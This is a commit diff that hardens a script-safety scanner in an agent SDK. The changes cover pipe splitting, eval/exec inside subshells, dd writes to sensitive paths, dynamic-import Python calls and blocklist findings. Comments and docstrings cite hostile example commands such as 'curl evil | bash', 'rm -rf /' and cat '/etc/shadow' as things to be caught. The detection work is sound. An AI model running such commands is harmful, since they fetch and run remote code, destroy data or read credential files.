fix: python alias pollution, pipe splitting, dynamic exec bypass, dd sensitive path

  - _python_scanner: import os.path no longer pollutes alias table
  - _python_scanner: __import__(x).func() Attribute receiver detected
  - _bash_scanner: pipe | splits commands for both-sides analysis
  - _bash_scanner: skip export/declare/local/array prefix assignment
  - _bash_scanner: dd of= checks _is_sensitive_path
  - _bash_scanner: scan all tokens for eval/exec inside $(...)
  - _scanner: allow_patterns blocked when CRITICAL findings exist
  - _scanner: _check_blocklist_override emits FILE-001 finding on hit

Author: lll-peanut

tests/test_tool_safety.py

@@ -1333,16 +1333,20 @@ def test_scanner_detect_type_shebang_python():
 
 
 def test_scanner_check_blocklist_override():
-    """_check_blocklist_override must escalate to DENY on match."""
+    """_check_blocklist_override must escalate to DENY on match and emit a finding."""
     from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
     policy = SafetyPolicy(blocklist_patterns=[r"dangerous_pattern_\d+"], )
     scanner = SafetyScanner(policy=policy)
-    result = scanner._check_blocklist_override("run dangerous_pattern_42 here", Decision.ALLOW)
+    result, findings = scanner._check_blocklist_override("run dangerous_pattern_42 here", Decision.ALLOW)
     assert result == Decision.DENY
+    assert len(findings) == 1
+    assert findings[0].rule_id == "FILE-001"
+    assert "dangerous_pattern_\\d+" == findings[0].matched_pattern
 
-    # When no pattern matches, return original decision
-    result2 = scanner._check_blocklist_override("safe content here", Decision.ALLOW)
+    # When no pattern matches, return original decision with empty findings
+    result2, findings2 = scanner._check_blocklist_override("safe content here", Decision.ALLOW)
     assert result2 == Decision.ALLOW
+    assert findings2 == []
 
 
 def test_scanner_check_allow_patterns():
@@ -2062,8 +2066,9 @@ def test_scanner_blocklist_override_no_match():
     from trpc_agent_sdk.tools.safety._policy import SafetyPolicy
     policy = SafetyPolicy(blocklist_patterns=[r"specific_danger_\d+"])
     scanner = SafetyScanner(policy=policy)
-    result = scanner._check_blocklist_override("safe content", Decision.NEEDS_HUMAN_REVIEW)
+    result, findings = scanner._check_blocklist_override("safe content", Decision.NEEDS_HUMAN_REVIEW)
     assert result == Decision.NEEDS_HUMAN_REVIEW
+    assert findings == []
 
 
 def test_scanner_allow_patterns_no_match():
@@ -2091,10 +2096,10 @@ def test_scanner_blocklist_override_invalid_regex():
     policy = SafetyPolicy(blocklist_patterns=[r"[invalid(regex", r"real_pattern_\d+"])
     scanner = SafetyScanner(policy=policy)
     # Should not raise
-    result = scanner._check_blocklist_override("real_pattern_42 here", Decision.NEEDS_HUMAN_REVIEW)
+    result, _ = scanner._check_blocklist_override("real_pattern_42 here", Decision.NEEDS_HUMAN_REVIEW)
     assert result == Decision.DENY
     # When match fails on real pattern too
-    result2 = scanner._check_blocklist_override("nothing", Decision.NEEDS_HUMAN_REVIEW)
+    result2, _ = scanner._check_blocklist_override("nothing", Decision.NEEDS_HUMAN_REVIEW)
     assert result2 == Decision.NEEDS_HUMAN_REVIEW
 
 

trpc_agent_sdk/tools/safety/_bash_scanner.py

@@ -246,30 +246,59 @@ def _scan_lines(self) -> None:
     # ------------------------------------------------------------------
 
     def _dispatch_commands(self, line_no: int, raw_line: str, tokens: List[str]) -> None:
-        """Analyse each sub-command in *tokens*, splitting on ``;`` ``&&`` ``||``.
+        """Analyse each sub-command, splitting on ``;`` ``&&`` ``||`` and ``|``.
 
-        This ensures that ``echo x; rm -rf /`` and ``FOO=bar rm -rf /`` are
-        both fully analysed, not just the first token.
+        ``|`` is included so that ``curl evil | bash`` analyses *both* sides.
         """
         seg_start = 0
         for i, t in enumerate(tokens):
-            if t in (";", "&&", "||"):
-                self._analyse_one_command(line_no, raw_line, tokens[seg_start:i])
+            if t in (";", "&&", "||", "|"):
+                self._analyse_one_command_with_dynamic_scan(line_no, raw_line, tokens[seg_start:i])
                 seg_start = i + 1
-        # Tail segment (or the whole line if no separators)
         if seg_start < len(tokens):
-            self._analyse_one_command(line_no, raw_line, tokens[seg_start:])
+            self._analyse_one_command_with_dynamic_scan(line_no, raw_line, tokens[seg_start:])
+
+    def _analyse_one_command_with_dynamic_scan(self, line_no: int, raw_line: str, cmd_tokens: List[str]) -> None:
+        """Analyse a command segment AND scan all tokens for eval/exec inside \$(...)."""
+        self._analyse_one_command(line_no, raw_line, cmd_tokens)
+        # Scan for dynamic commands that appear anywhere in the token stream
+        # (not just as the head command), so that $(eval "rm -rf /") and
+        # (exec rm -rf /) are caught.
+        for t in cmd_tokens:
+            t_lower = t.lower().strip("()$")
+            if t_lower in _DYNAMIC_COMMANDS and t_lower != ".":
+                evidence = " ".join(cmd_tokens)[:300]
+                self._findings.append(
+                    BashScanFinding(kind="eval", command=t_lower, args="", line_number=line_no, evidence=evidence))
 
     def _analyse_one_command(self, line_no: int, raw_line: str, cmd_tokens: List[str]) -> None:
         """Dispatch a single command segment to the appropriate checker."""
         if not cmd_tokens:
             return
-        # Skip variable assignments (FOO=bar cmd ...)
+        # Skip prefixes that don't change the real command:
+        #   VAR=val, export VAR=val, declare/readonly/local/typeset, command/builtin
         idx = 0
-        while idx < len(cmd_tokens) and re.match(r"[A-Za-z_]\w*=", cmd_tokens[idx]):
-            idx += 1
+        _PREFIX_CMDS = frozenset({"export", "declare", "local", "readonly", "typeset", "command", "builtin"})
+        while idx < len(cmd_tokens):
+            t = cmd_tokens[idx]
+            if re.match(r"[A-Za-z_]\w*=", t) or re.match(r"[A-Za-z_]\w*\[\w*\]=", t):
+                idx += 1  # VAR=val or ARR[idx]=val
+            elif t.lower() in _PREFIX_CMDS:
+                idx += 1  # skip the prefix itself
+            elif t == "(":
+                # Array assignment: ARR=(val1 val2) — skip the whole thing
+                idx += 1
+                depth = 1
+                while idx < len(cmd_tokens) and depth > 0:
+                    if cmd_tokens[idx] == "(":
+                        depth += 1
+                    elif cmd_tokens[idx] == ")":
+                        depth -= 1
+                    idx += 1
+            else:
+                break
         if idx >= len(cmd_tokens):
-            return  # pure assignment, no command
+            return  # pure assignment/prefix, no real command
         cmd = cmd_tokens[idx]
         args = cmd_tokens[idx + 1:]
         cmd_lower = cmd.lower()
@@ -502,8 +531,9 @@ def _check_dd(self, line_no: int, raw_line: str, args: List[str]) -> None:
 
         is_write_to_dev = of_target and of_target.startswith("/dev/")
         is_large_write = (bs_val and count_val and bs_val * count_val > 100 * 1024 * 1024)
+        is_sensitive = of_target and _is_sensitive_path(of_target)
 
-        if is_write_to_dev:
+        if is_write_to_dev or is_sensitive:
             self._findings.append(
                 BashScanFinding(
                     kind="command",

trpc_agent_sdk/tools/safety/_python_scanner.py

@@ -321,8 +321,13 @@ def _collect_aliases(self, tree: ast.AST) -> None:
         for node in ast.walk(tree):
             if isinstance(node, ast.Import):
                 for alias in node.names:
-                    name = alias.asname or alias.name.split(".")[0]
-                    self._aliases[name] = alias.name
+                    # Key and value both use only the top-level module name
+                    # so that ``import os.path`` maps to ``os``, not
+                    # ``os.path`` — otherwise ``os.system("id")`` resolves
+                    # to the non-existent ``os.path.system`` and is missed.
+                    top = alias.name.split(".")[0]
+                    name = alias.asname or top
+                    self._aliases[name] = top
             elif isinstance(node, ast.ImportFrom):
                 module = node.module or ""
                 for alias in node.names:
@@ -366,9 +371,13 @@ def _handle_call(self, node: ast.Call) -> None:
         line_no = node.lineno or 0
         evidence = self._get_line(node.lineno)
 
-        if not canonical or canonical == "":
-            # Try to resolve getattr / __import__ patterns
-            self._check_dynamic_call(node, line_no, evidence)
+        # Always run dynamic-call detection for patterns like
+        # __import__("os").system("id") or importlib.import_module(...).method(...)
+        # where the canonical name resolves to a non-empty dotted path
+        # but the root is a dynamic-import primitive.
+        self._check_dynamic_call(node, line_no, evidence)
+
+        if not canonical:
             return
 
         # --- Dangerous file operations ---
@@ -507,12 +516,11 @@ def _handle_call(self, node: ast.Call) -> None:
     # ------------------------------------------------------------------
 
     def _check_dynamic_call(self, node: ast.Call, line_no: int, evidence: str) -> None:
-        """Detect getattr(obj, name)() or __import__(name).func() patterns."""
+        """Detect getattr(obj,name)(), __import__(x).func(), importlib.import_module(x).func()."""
         func = node.func
         if isinstance(func, ast.Call):
             inner = self._resolve_canonical(func.func)
             if inner == "getattr":
-                # getattr(some_obj, "system")("id")
                 attr = self._get_arg_string(func, 1)
                 self._findings.append(
                     PythonScanFinding(
@@ -529,6 +537,18 @@ def _check_dynamic_call(self, node: ast.Call, line_no: int, evidence: str) -> No
                         line_number=line_no,
                         evidence=evidence,
                     ))
+        elif isinstance(func, ast.Attribute):
+            # __import__("os").system("id") — the receiver is a dynamic
+            # import call whose result was then attribute-accessed
+            receiver = self._resolve_canonical(func.value)
+            if receiver in ("__import__", "importlib.import_module", "getattr"):
+                self._findings.append(
+                    PythonScanFinding(
+                        kind="eval_exec",
+                        canonical_name=f"{receiver}->{func.attr}",
+                        line_number=line_no,
+                        evidence=evidence,
+                    ))
 
     # ------------------------------------------------------------------
     # Taint tracking: assignments and sinks

trpc_agent_sdk/tools/safety/_scanner.py

@@ -223,11 +223,15 @@ def scan(self, scan_input: SafetyScanInput) -> SafetyScanReport:
 
         # Apply blocklist override — blocklist patterns always → deny
         if decision != Decision.DENY:
-            decision = self._check_blocklist_override(script, decision, scan_input.script_type)
+            decision, bl_findings = self._check_blocklist_override(script, decision, scan_input.script_type)
+            all_findings.extend(bl_findings)
 
         # Apply allow-pattern override — allow patterns → allow
         # Only upgrades NEEDS_HUMAN_REVIEW; never overrides DENY (blocklist wins).
-        if decision == Decision.NEEDS_HUMAN_REVIEW and self._check_allow_patterns(script):
+        # Also refuses to upgrade when any CRITICAL finding exists, regardless
+        # of how the policy maps CRITICAL → decision.
+        has_critical = any(f.risk_level == RiskLevel.CRITICAL for f in all_findings)
+        if (decision == Decision.NEEDS_HUMAN_REVIEW and not has_critical and self._check_allow_patterns(script)):
             decision = Decision.ALLOW
 
         # ══════════════════════════════════════════════════════════════
@@ -758,40 +762,37 @@ def _detect_type(script: str) -> ScriptType:
     def _check_blocklist_override(self,
                                   script: str,
                                   current_decision: Decision,
-                                  script_type: ScriptType = ScriptType.UNKNOWN) -> Decision:
-        """If any blocklist pattern matches, escalate to DENY.
-
-        Per-line matching is used so that patterns appearing inside
-        ``echo`` / ``printf`` string literals do not trigger false
-        positives.  Python string-literal stripping is only applied for
-        Python scripts — applying it to Bash would turn ``cat
-        '/etc/shadow'`` into a false negative.
-        """
+                                  script_type: ScriptType = ScriptType.UNKNOWN) -> tuple[Decision, list[SafetyFinding]]:
+        """If any blocklist pattern matches, escalate to DENY and emit a finding."""
         for pattern in self._policy.blocklist_patterns:
             try:
                 pat = re.compile(pattern, re.IGNORECASE)
             except re.error:
                 continue
-            for line in script.splitlines():
-                # Skip comment lines (both Python # and Bash #)
+            for line_idx, line in enumerate(script.splitlines()):
                 stripped = line.lstrip()
                 if stripped.startswith("#"):
                     continue
-                # Strip Python string-literal content ONLY for Python
-                # scripts.  For Bash (or UNKNOWN, which may be Bash),
-                # keep the raw line so that patterns inside eval "...",
-                # bash -c '...', and similar quoting are still matched.
                 if script_type == ScriptType.PYTHON:
                     search_line = _strip_python_comment_line(line)
                 else:
                     search_line = line
                 if pat.search(search_line):
-                    # Skip if the match is inside an echo/printf string literal
                     if _is_in_echo_string(line, pattern):
                         continue
                     logger.warning("Blocklist pattern matched: %s → forcing DENY", pattern)
-                    return Decision.DENY
-        return current_decision
+                    finding = SafetyFinding(
+                        rule_id="FILE-001",
+                        category=RiskCategory.DANGEROUS_FILE_OPS,
+                        risk_level=RiskLevel.CRITICAL,
+                        evidence=line.strip()[:300],
+                        message=f"Blocklist pattern matched: {pattern}",
+                        recommendation="Remove the dangerous content from the script.",
+                        line_number=line_idx + 1,
+                        matched_pattern=pattern,
+                    )
+                    return Decision.DENY, [finding]
+        return current_decision, []
 
     def _check_allow_patterns(self, script: str) -> bool:
         """Check if any allow-pattern matches the script."""